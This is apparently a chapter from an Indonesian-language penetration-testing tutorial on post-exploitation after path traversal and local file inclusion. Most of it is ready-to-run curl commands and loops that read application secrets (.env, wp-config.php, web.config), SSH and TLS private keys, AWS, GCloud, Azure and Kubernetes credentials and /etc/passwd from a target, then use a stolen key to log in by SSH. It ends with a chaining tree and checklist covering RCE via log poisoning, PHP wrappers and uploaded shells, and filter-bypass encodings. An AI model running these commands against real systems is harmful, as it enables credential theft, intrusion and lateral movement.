2nuclei -l targets.txt -t cves/2021/CVE-2021-41773.yaml
3nuclei -l targets.txt -t cves/2021/CVE-2021-42013.yaml
4nuclei -l targets.txt -t cves/2024/CVE-2024-4577.yaml
5nuclei -l targets.txt -tags traversal,lfi,path-traversalBab 5 — Post-Exploitation via Path Traversal
5.1 Credential Extraction
Setelah berhasil path traversal / LFI, prioritas pertama adalah extract credentials:
1# ========== Database credentials ==========
2
3# Laravel .env
4curl -s "https://target.com/?file=../.env" | grep -i "DB_\|REDIS_\|MAIL_\|AWS_\|APP_KEY"
5
6# WordPress wp-config.php (via php://filter karena include-able)
7curl -s "https://target.com/?page=php://filter/convert.base64-encode/resource=../wp-config" | \
8 grep -oP '[A-Za-z0-9+/=]{100,}' | base64 -d | grep "DB_\|AUTH_KEY\|SECURE_AUTH"
9
10# Joomla configuration.php
11curl -s "https://target.com/?page=php://filter/convert.base64-encode/resource=../configuration" | \
12 grep -oP '[A-Za-z0-9+/=]{100,}' | base64 -d | grep "host\|user\|password\|db\|secret"
13
14# Django settings.py
15curl -s "https://target.com/?file=../myproject/settings.py" | grep -i "SECRET_KEY\|PASSWORD\|DATABASE"
16
17# Spring Boot
18curl -s "https://target.com/..;/WEB-INF/classes/application.properties" | grep -i "password\|secret\|key"
19
20# Node.js
21curl -s "https://target.com/?file=../.env" | grep -i "DB_\|JWT_\|API_\|SECRET"
22curl -s "https://target.com/?file=../config/production.json"
23
24# ========== Connection strings (IIS/ASP.NET) ==========
25curl -s "https://target.com/?file=../web.config" | grep -i "connectionString\|password\|key"5.2 Source Code Disclosure
1# ========== php://filter untuk baca PHP source tanpa execution ==========
2# Baca index.php
3curl -s "https://target.com/?page=php://filter/convert.base64-encode/resource=index" | \
4 grep -oP '[A-Za-z0-9+/=]{20,}' | base64 -d > index.php
5
6# Baca semua file PHP yang terlihat di source
7# Step 1: Baca index.php → cari include/require
8# Step 2: Recursively baca file yang di-include
9# Step 3: Cari hardcoded credentials, SQL queries, API endpoints
10
11# Automated approach — list file dari error messages atau directory listing
12for f in index config database routes auth user admin api login register; do
13 echo "=== $f.php ==="
14 curl -s "https://target.com/?page=php://filter/convert.base64-encode/resource=$f" | \
15 grep -oP '[A-Za-z0-9+/=]{20,}' | base64 -d 2>/dev/null | head -20
16done
17
18# ========== Non-PHP: langsung read ==========
19curl -s "https://target.com/?file=../app.py" | head -50
20curl -s "https://target.com/?file=../server.js" | head -50
21curl -s "https://target.com/?file=../pom.xml" # Java dependencies
22curl -s "https://target.com/?file=../Gemfile" # Ruby dependencies
23curl -s "https://target.com/?file=../requirements.txt" # Python
24curl -s "https://target.com/?file=../composer.json" # PHP dependencies
25
26# ========== .git directory ==========
27curl -s "https://target.com/?file=../.git/config" # git remote URLs + credentials
28curl -s "https://target.com/?file=../.git/HEAD" # current branch5.3 SSH Key & Private Key Theft
1# ========== SSH keys ==========
2# Common users: root, www-data, ubuntu, deploy, admin, git
3for user in root ubuntu deploy admin www-data git; do
4 echo "=== $user ==="
5 curl -s "https://target.com/?file=../../../home/$user/.ssh/id_rsa" | head -5
6 curl -s "https://target.com/?file=../../../home/$user/.ssh/id_ed25519" | head -5
7 curl -s "https://target.com/?file=../../../home/$user/.ssh/id_ecdsa" | head -5
8done
9
10# Root SSH key
11curl -s "https://target.com/?file=../../../root/.ssh/id_rsa"
12
13# Authorized keys (siapa yang bisa login)
14curl -s "https://target.com/?file=../../../root/.ssh/authorized_keys"
15curl -s "https://target.com/?file=../../../home/deploy/.ssh/authorized_keys"
16
17# SSH config (jump hosts, proxy config)
18curl -s "https://target.com/?file=../../../home/deploy/.ssh/config"
19
20# Known hosts (server lain yang pernah diakses)
21curl -s "https://target.com/?file=../../../home/deploy/.ssh/known_hosts"
22
23# ========== SSL/TLS private keys ==========
24curl -s "https://target.com/?file=../../../etc/ssl/private/server.key"
25curl -s "https://target.com/?file=../../../etc/nginx/ssl/server.key"
26
27# ========== Gunakan SSH key yang dicuri ==========
28curl -s "https://target.com/?file=../../../home/deploy/.ssh/id_rsa" > stolen_key
29chmod 600 stolen_key
30ssh -i stolen_key [email protected]5.4 Lateral Movement dari File Read
1# ========== Informasi yang bisa dipakai untuk lateral movement ==========
2
3# 1. /etc/passwd → enumerate users
4curl -s "https://target.com/?file=../../../etc/passwd" | grep -v "nologin\|false" | cut -d: -f1
5
6# 2. /etc/hosts & /etc/resolv.conf → internal network
7curl -s "https://target.com/?file=../../../etc/hosts"
8curl -s "https://target.com/?file=../../../etc/resolv.conf"
9
10# 3. /proc/net/fib_trie → internal IP ranges
11curl -s "https://target.com/?file=../../../proc/net/fib_trie" | grep -oP '\d+\.\d+\.\d+\.\d+' | sort -u
12
13# 4. /proc/net/tcp → open connections (internal services)
14curl -s "https://target.com/?file=../../../proc/net/tcp"
15# Decode hex addresses: python3 -c "import struct; print('.'.join(str(b) for b in struct.pack('<I', 0x0100007F)))"
16
17# 5. Nginx/Apache config → virtual hosts, upstreams (internal services)
18curl -s "https://target.com/?file=../../../etc/nginx/sites-enabled/default"
19curl -s "https://target.com/?file=../../../etc/nginx/conf.d/upstream.conf"
20# proxy_pass http://10.0.1.5:8080; → internal service
21
22# 6. Cloud credentials
23curl -s "https://target.com/?file=../../../home/ubuntu/.aws/credentials"
24curl -s "https://target.com/?file=../../../home/ubuntu/.config/gcloud/credentials.db"
25curl -s "https://target.com/?file=../../../home/ubuntu/.azure/accessTokens.json"
26
27# 7. Docker socket & config
28curl -s "https://target.com/?file=../../../home/deploy/.docker/config.json"
29# → Docker registry credentials (base64 encoded)
30
31# 8. Kubernetes config
32curl -s "https://target.com/?file=../../../home/deploy/.kube/config"
33# → cluster endpoints, tokens, certificates5.5 Chaining LFI ke RCE ke Shell
Path Traversal / LFI ditemukan
│
├── Bisa include file? (LFI — PHP include/require)
│ ├── YES → Coba PHP wrappers
│ │ ├── php://filter chain generator → RCE ✓
│ │ ├── php://input → RCE ✓
│ │ ├── data:// → RCE ✓
│ │ └── expect:// → RCE ✓
│ │
│ ├── YES → Coba log poisoning
│ │ ├── Inject PHP ke access.log → include → RCE ✓
│ │ ├── Inject PHP ke auth.log → include → RCE ✓
│ │ └── Inject PHP ke mail.log → include → RCE ✓
│ │
│ ├── YES → Coba session/upload inclusion
│ │ ├── Inject PHP ke session → include sess_* → RCE ✓
│ │ └── Upload image+PHP → include → RCE ✓
│ │
│ └── YES → XSLT injection
│ └── php:function callback → RCE ✓
│
├── Hanya bisa baca file? (Path Traversal — file_get_contents, readfile)
│ ├── Baca credentials (.env, config, wp-config)
│ │ ├── DB credentials → login phpMyAdmin/Adminer → SQLi → RCE
│ │ ├── Admin password → login CMS panel → upload shell
│ │ └── API keys → akses service lain
│ │
│ ├── Baca SSH key
│ │ └── SSH access → full shell ✓
│ │
│ ├── Baca source code → temukan vuln lain
│ │ ├── SQL injection
│ │ ├── Command injection
│ │ ├── Deserialization
│ │ └── SSRF → cloud metadata
│ │
│ └── Baca internal network info → pivot
│ ├── /etc/hosts, /proc/net/fib_trie
│ └── Nginx/Apache config → internal services
│
└── Tidak berhasil → Coba bypass techniques (Bab 2)5.6 Checklist Ringkasan
Path Traversal / LFI Testing
│
├─ 1. Discovery
│ ├─ Identifikasi parameter yang terima file/path input
│ ├─ Dorking: Google, Shodan, FOFA
│ ├─ Fuzz parameter: ffuf + burp-parameter-names.txt
│ └─ Nuclei scan: tags lfi,traversal
│
├─ 2. Basic test
│ ├─ ../../../etc/passwd (Linux) atau ..\..\windows\win.ini (Windows)
│ ├─ Brute depth: 1-10 levels ../
│ ├─ php://filter/convert.base64-encode/resource=index
│ └─ Absolute path: /etc/passwd
│
├─ 3. Bypass (jika basic gagal)
│ ├─ URL encoding: %2e%2e%2f
│ ├─ Double encoding: %252e%252e%252f
│ ├─ Null byte: %00 (PHP < 5.3.4)
│ ├─ Path normalization: ....// , ..;/ , ..././
│ ├─ Unicode: %c0%af, fullwidth chars
│ ├─ PHP wrappers: php://filter, data://, php://input
│ └─ WAF bypass: chunked, header, double param
│
├─ 4. Escalate ke RCE (jika LFI)
│ ├─ php://filter chain generator (NO allow_url_include needed!)
│ ├─ php://input atau data:// (allow_url_include=On)
│ ├─ Log poisoning (access.log, auth.log, mail.log)
│ ├─ Session file inclusion
│ ├─ Upload + include (image with PHP)
│ ├─ /proc/self/environ atau /proc/self/fd/
│ ├─ XSLT injection (php:function callback)
│ └─ XXE injection (file:// entity, blind OOB, SVG/DOCX upload)
│
├─ 5. Post-exploitation (file read)
│ ├─ Credentials: .env, wp-config, configuration.php, settings.py, web.config
│ ├─ Source code: php://filter → review → find more vulns
│ ├─ SSH keys: /home/*/.ssh/id_rsa, id_ed25519
│ ├─ Internal network: /etc/hosts, /proc/net/fib_trie, nginx config
│ └─ Cloud: ~/.aws/credentials, ~/.kube/config
│
├─ 6. Target-specific
│ ├─ PHP/Laravel: .env, storage/logs/laravel.log
│ ├─ WordPress: wp-config.php, wp-content/debug.log
│ ├─ Java/Tomcat: ..;/WEB-INF/web.xml, META-INF/context.xml
│ ├─ Nginx: alias traversal (/files../)
│ ├─ Apache: CVE-2021-41773/42013
│ ├─ IIS: ::$DATA, %5c, web.config
│ └─ Node.js/Python: .env, config/, settings.py
│
├─ 7. Lateral movement
│ ├─ DB credentials → akses database langsung
│ ├─ SSH key → hop ke server lain
│ ├─ Cloud credentials → infrastructure access
│ ├─ Docker/K8s config → container/cluster access
│ └─ Internal service discovery via config files
│
└─ 8. Chain ke RCE
├─ LFI → log poison → webshell
├─ File read → credentials → login panel → upload shell
├─ File read → SSH key → SSH access
└─ File read → source code → find injection → RCEBab 6 — (Coming soon)